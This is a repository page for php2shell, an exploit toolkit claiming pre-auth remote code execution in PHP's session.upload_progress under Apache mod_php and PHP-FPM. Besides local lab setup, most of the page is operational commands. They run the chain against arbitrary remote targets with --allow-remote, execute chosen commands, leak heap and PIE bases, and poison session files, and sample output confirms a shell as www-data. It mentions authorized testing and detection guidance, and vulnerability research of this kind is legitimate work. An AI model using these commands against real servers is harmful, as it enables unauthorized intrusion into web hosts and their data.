Reading the repo
Opening the box…
Reading the repo
Opening the box…
How to install on Windows
CVE-2026-109618 / CVE-2026-109619 pre-auth RCE in PHP session.upload_progress (mod_php): version-aware exploit profiles, Docker labs, heap calibration and detection guidance.
Saved setup from 4 h ago
Will it work on Windows?
winget install Git.Git) or WSL2 (wsl --install).Then run powershell -ExecutionPolicy Bypass -File .\setup.ps1. It stops at the first error and is safe to run again. Servers and tests aren't started; it lists them at the end. Read it first.
Needs Git: winget install Git.Git
git clone https://github.com/devploit/php2shell.git cd php2shell
Python >=3.11
winget install Python.Python.3.11
python -m venv .venv .venv\Scripts\Activate.ps1 pip install -r requirements-dev.txt pip install -e .
The steps run shell scripts (.sh). Use Git Bash (winget install Git.Git) or WSL2 (wsl --install).
Requirements: Python 3.11+, Docker (for the Apache labs), Linux or macOS on
arm64 or amd64. The Apache chain works on both; the PHP-FPM endgame/oracle
needs Linux /proc (the no-oracle path does not), and the FPM build scripts
fall back to sysctl when nproc is unavailable. Fetch the pinned upstream:
python3 tools/bootstrap_upstream.py
The script clones the public 9bie research into vendor/php2shell-upstream and
checks out the pinned commit. The toolkit applies the minimal SNI and
heap-parameter changes in place at runtime; they are documented in
docs/upstream-changes.md. No patch file is
redistributed.
Start the local laboratories and run the dispatcher against the PHP 8.4.26 lab:
python3 tools/php2shell_labs.py up
python3 tools/php2shell_auto.py \
-u http://127.0.0.1:8105/index.php \
--container p2s-lab-8426 \
--repo-dir vendor/php2shell-upstream
Expected shape:
exploit by devploit · CVE-2026-109618 / CVE-2026-109619
automatic target detection, build profile dispatch and command execution
authorized testing only
[*] CHAIN 01/01 automatic target detection / fixed command proof
00:00.00 DISCOVER http://127.0.0.1:8105/index.php
00:00.01 OK PHP 8.4.26 · Apache/2.4.69 (Debian)
00:00.01 PREFLIGHT php-8.4.26-bookworm-amd64
00:00.15 PROBE config probe: 16 MiB body
00:00.16 OK detected memory_limit=8M
00:00.16 OK display_errors=On (request-startup diagnostics are rendered)
00:00.17 EXECUTE memory_limit=8M · huge_mb=12
│ [+] chunk base = 0x7ffffc400000
│ [+] libphp base = 0x7ffffe013000
│ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
╭─ RESULT ─────────────────────────────────────────────────────────╮
│ PRE-AUTH RCE CONFIRMED │
╰──────────────────────────────────────────────────────────────────╯
Useful entry points:
python3 tools/php2shell_auto.py --list # profiles and RCE status
python3 tools/php2shell_auto.py -u <target> --dry-run --no-color
python3 tools/php2shell_auto.py -u <target> --php-version 8.4.26 --arch amd64 --allow-remote
python3 tools/php2shell_labs.py status
python3 tools/php2shell_inventory.py
The FPM chain runs against an amd64 user-prefix PHP build with nginx — no Docker, no root. Build nginx and a vulnerable PHP (any of 7.4.33, 8.0.30, 8.1.33, 8.2.34, 8.3.35, 8.4.0, 8.4.25 or 8.4.26), then start the lab for that version:
lab/fpm/build_nginx.sh
lab/fpm/build_php.sh 8.4.26
python3 tools/php2shell_fpm_labs.py up --only 8.4.26
python3 tools/php2shell_fpm_labs.py status
The default endgame uses the /proc/<pid>/mem oracle (ptrace_scope=0);
no-oracle is fully remote and leaks chunk/PIE over HTTP by default:
python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \
--builder http://127.0.0.1:8111
# or drive the chain directly:
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
endgame
# fully remote RCE: HTTP leak, no /proc at exploit time (--chunk/--pie override)
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
--command 'id>out/p1' --proof-file out/p1 no-oracle
# stock installation shape: --builder defaults to --base, one port, one pool,
# memory_limit=128M, pm=dynamic x5 workers, stock php.ini (nginx needs
# client_max_body_size >= 5m for the arm body)
python3 tools/php2shell_fpm.py \
--base http://target --allow-remote --version 8.4.26 \
--command 'id>out/p1' --proof-file out/p1 no-oracle
# checklist: does this target meet every precondition of the chain?
python3 tools/php2shell_fpm.py --base http://target --allow-remote --version 8.4.26 probe
# print only the leaked bases
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak
# derive a profile for any 7.4+ build over HTTP, then trust it:
python3 tools/php2shell_fpm.py \
--version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 calibrate
# 5.x and 7.2 (no verified reclaim): plant chosen bytes into a chosen
# session file (pre-auth write, needs an app gadget for code execution)
python3 tools/php2shell_fpm.py \
--version 7.4.33 --base http://127.0.0.1:8336 --builder http://127.0.0.1:8337 \
poison --sid plant7x --payload 'PLANTED_MARKER'
# verify the remote chain on every unpatched build in one run
# (7.2 is recorded as SESSION PLANT, 7.4+ as REMOTE RCE)
python3 tools/php2shell_fpm_matrix.py
python3 tools/php2shell_fpm_labs.py down
The consumer request exits with HTTP 502 (the worker dies after firing
zif_system); the proof is written by the command itself and served statically
from /out/. See docs/fpm-chain.md.
No reports for Windows yet.
GitManual AI Agent reads the 7 key files and writes a step-by-step guide for Windows. Once written, it's saved for everyone.